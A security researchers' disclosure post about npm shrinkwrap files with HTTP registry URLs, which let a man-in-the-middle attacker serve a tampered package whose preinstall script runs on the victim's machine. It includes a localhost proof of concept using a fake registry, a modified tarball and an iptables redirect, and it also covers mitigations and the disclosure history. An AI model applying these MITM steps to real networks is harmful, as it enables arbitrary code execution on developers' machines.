If you install an npm package (or any packages it may depend on) that has a shrinkwrap file (`npm-shrinkwrap.json`) with a HTTP registry URL, a local [network](https://hackernoon.com/tagged/network) attacker (MITM) can execute malicious code on your machine.

![](https://hackernoon.com/hn-images/1*qTooY4WcBFANOatLW_WsgQ.png)

Stop feeding the MITM squirrel with HTTP URLs in shrinkwrap files. (Photo added to remove other photo from front.)

### What is npm shrinkwrap and what is the problem?

npm shrinkwrap provides a way for package maintainers to lock down the packages they depend on. When you run `npm shrinkwrap`, npm creates a `npm-shrinkwrap.json` file that contains all the information about the locked-down dependencies. When someone installs your package, npm will fetch dependencies based on this shrinkwrap file and not the `package.json`. (Assuming you packaged up the shrinkwrap file before publishing.) This is great! You want to do this in [production](https://hackernoon.com/tagged/production)!

When the shrinkwrap file is generated, the URLs of the registries (usually `https://registry.npmjs.org`) from where the packages were fetched are saved alongside the module names and versions. For example, here is a dependency that is in npm's shrinkwrap file at the time of this writing:

    "ansi-regex": {  "version": "2.0.0",  "from": "ansi-regex@2.0.0",  "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.0.0.tgz"}

You should always make sure that the resolved URLs are HTTPS after running `npm shrinkwrap`. Unfortunately, people don't always do this and sometimes these URLs are HTTP. For example, npm's shrinkwrap at the time of this writing has the following dependency:

    ...npmlog": {"version": "4.0.1",  "from": "npmlog@4.0.1",  "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.0.1.tgz",  "dependencies": {    "are-we-there-yet": {      "version": "1.1.2",      "from": "are-we-there-yet@>=1.1.2 <1.2.0",      "resolved": "http://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz",      ...      }    }...

The actual npm package that is in the npmregistry doesn’t contain the shrinkwrap — so if you install npm via `npm` (i.e., `npm i npm`) you're okay. But, if you clone the github repo and run `npm install`, on the other hand, you're not. More broadly, if you npm install any package that has an HTTP resolved URL, a network attacker can execute arbitrary code on your box.

Specifically, when fetching a package (e.g., `are-we-there-yet`) over HTTP an attacker that can carry out a man-in-the-middle (MITM) attack can simply reply with a package of their own choosing which, may, for example, contain a malicious `preinstall` script that npm will happily run.

As long as the attacker has access to the same local network as you (e.g., you are in the same coffee shop or they are your ISP), they can usually alter your HTTP traffic. [FireSheep](http://codebutler.com/firesheep?c=1) was a great example of how to do this — it made it easy for people to mess with others’ browsing experience by hijacking sessions. This is a bit worse since it allows an attacker to run code on your machine. Below is a proof-of-concept attack that demonstrates this.

We have notified a number of organizations and users that have packages on npm and github with such HTTP URLs. We cloned the npm registry and various github projects to find this information. This, unfortunately, means that there may be packages out there that we did not catch and may put you at risk. We describe some mitigation techniques below.

### Proof of concept attack

Below is a PoC attack using the npm github repo, running strictly on localhost. We describe both the victim and attacker steps.

1.  Victim clones `npm`:

    https://github.com/npm/npm.git

At the time of this writing, the HEAD points to the `latest` branch ([4d0473c12e1f1448f3ca28f157c9023e2682df9d](https://github.com/npm/npm/tree/4d0473c12e1f1448f3ca28f157c9023e2682df9d)).

The `[npm-shrinkwrap.json](https://github.com/npm/npm/blob/4d0473c12e1f1448f3ca28f157c9023e2682df9d/npm-shrinkwrap.json#L1468)` file has a module that will be fetched via HTTP:

    "resolved": "http://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz",

This is the package we’re going to modify and serve from our MITM “registry”.

2\. Attacker opens a new shell and set up the MITM registry-like server:

mkdir mitm  
cd mitm  
mkdir -p public/are-we-there-yet/-  
pushd public/are-we-there-yet/-  
wget https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz  
tar xzvf are-we-there-yet-1.1.2.tgz  
\# modify package/package.json to add new preisnstall script. For example:  
\# "preinstall": "echo w00t > /tmp/whodis",  
tar czvf are-we-there-yet-1.1.2.tgz package  
popd  
npm i static-server ./node\_modules/.bin/static-server -p8080 public

3\. Attacker forwards packets destined to `registry.npmjs.org:80` to our MITM local server running on port 8080. For the purpose of this example, we forward any traffic to port 80 to localhost:8080 with iptables:

sudo echo 1 > /proc/sys/net/ipv4/ip\_forward  
sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:8080

4\. Victim installs npm in the `npm` directory:

npm i

This will have executed our `preinstall` script. You can just as easily modify the code and carry out the attack when the module is loaded, just in case the victim was installing packages in a sandbox to prevent install-time attacks.

5\. Attacker verifies `preinstall` script and cleans up:

cat /tmp/whodis  
sudo iptables -t nat -D OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:8080

### Who is affected by this?

Anybody that runs `npm install` for a package that has `npm-shrinkwrap.json` with HTTP URLs. We have already identified and notified a number of node organizations and users that are affected by this. We have also notified npm of this and recommend that you read their blog post on this.

Before you give npm a hard time about this, please be aware that you may be using other package managers that only use HTTP and can likely be leveraged more easily.

### How likely am I to get owned by this?

Probably not very likely. The number of packages that have HTTP registry URLs on npm seems to quite low (~0.03% of ~360K packages). (That said, some of these have few thousand downloads per month.) Your attacker must also be local to MITM your network traffic. (Though there are lots of Node developers in SF coffee shops and bootcamps.)

### Addressing the vulnerability

If your package contains a shrinkwrap file with HTTP URLs please change them to HTTPS and follow the suggestions in [npm’s blog post on this vulnerability](http://blog.npmjs.org/post/154400916805/avoid-http-urls-in-shrinkwrap-files). You may be putting your users at risk.

When we reported this to npm, Inc. we recommended that they patch npm to automatically upgrade HTTP URLs to HTTPS for origins they control (e.g., registry.npmjs.org). Unfortunately, npm decided against this because it may break some of their users’ workflows. We respect that they have business reasons to not silently and automatically upgrade URLs. But, this is at the cost of putting some users at risk.

One can argue that the developer that left HTTP URLs in a shrinkwrap file is actually the one putting their users at risk. Unfortunately, it seems easy enough to forget to check shrinkwrap files (npm’s shrinkwrap file containing an HTTP URL is some indication of this). And, as a user, you have no idea when you `npm install <some-package>` whether or not npm will fetch its dependencies over HTTP. Sure you can download the tarball and inspect it (whether or not it has a shrinkwrap file and whether it is vulnerable), but we suspect you won't do that.

So what are reasonable options moving forward?

*   Adding support for automatic upgrades to HTTPS.
*   Adding hashes to shrinkwraps may be a reasonable alternative option (assuming you’re getting your hashes via HTTPS). Yarn does this for their [yarn.lock](https://yarnpkg.com/en/docs/yarn-lock) files.
*   Disallowing downloads via HTTP and adding a `--allow-unsafe-downloads` flag may be yet another option.

There are likely others worth considering; we suspect pull requests may be welcome.

These changes are not suggestions for developers’ shrinkwrap files. While the problem does disappear if all developers upgrade their shrinkwrap URLs to HTTPS, this is not a reliably safe solution; malicious package authors can still get away with attacks using seemingly benign shrinkwrap files. Furthermore, if you simply re-run npm shrinkwrap right now, it’s not necessarily the case that all URLs will be HTTPS — npm defaults to URLs from the cache even if they’re HTTP. This is a pretty good excuse if you want to leave a backdoor with plausible deniability (It’s much easier to attribute an attack when the attack source is in the package itself as opposed to injected via MITM.). Until users can disallow code fetching via HTTP (or otherwise have authenticity for what they download), they are still at risk.

### What is the CVE for this?

There isn’t one. We think there should be, so if your organization is willing to request one (maybe because it was affected by this) please get in touch with us.

### My company intercepts HTTP traffic and scans for malicious things — am I safe?

No.

### How did we disclose this?

We firstly emailed npm about this issue and then — roughly a week later — emailed the package maintainers and authors for packages we downloaded them from npm and github. Our intent was to give people enough time to patch their shrinkwrap files. We requested that people not disseminate the then private (a la short capability) URL to this post:

![](https://hackernoon.com/hn-images/1*cYhSP_HEtxIPC8EP74yrMg.png)

Email snippet highlight what you shouldn’t do.

Unfortunately, someone leaked this anyway. If you are that person please consider donating to [EFF](https://supporters.eff.org/donate), [ToR](https://donate.torproject.org/), or [SecureDrop](https://securedrop.org/donate) to get your some of karma points back.

### Who are we?

We ([Fraser](http://web.stanford.edu/%7Emlfbrown/), [Ariana](https://arianamirian.com/), and [Deian](https://cseweb.ucsd.edu/%7Edstefan/)) are security researchers at UC San Diego and Stanford.

_Full disclosure:_ Deian has a startup that sells a Node.js security product to defend against untrusted code.

Alongside

Fetch

Too Long; Didn't Read

Cassandra Forward a free Cassandra-focused community event

NPM shrinkwrap allows remote code execution

Too Long; Didn't Read

Companies Mentioned

@deian

RELATED STORIES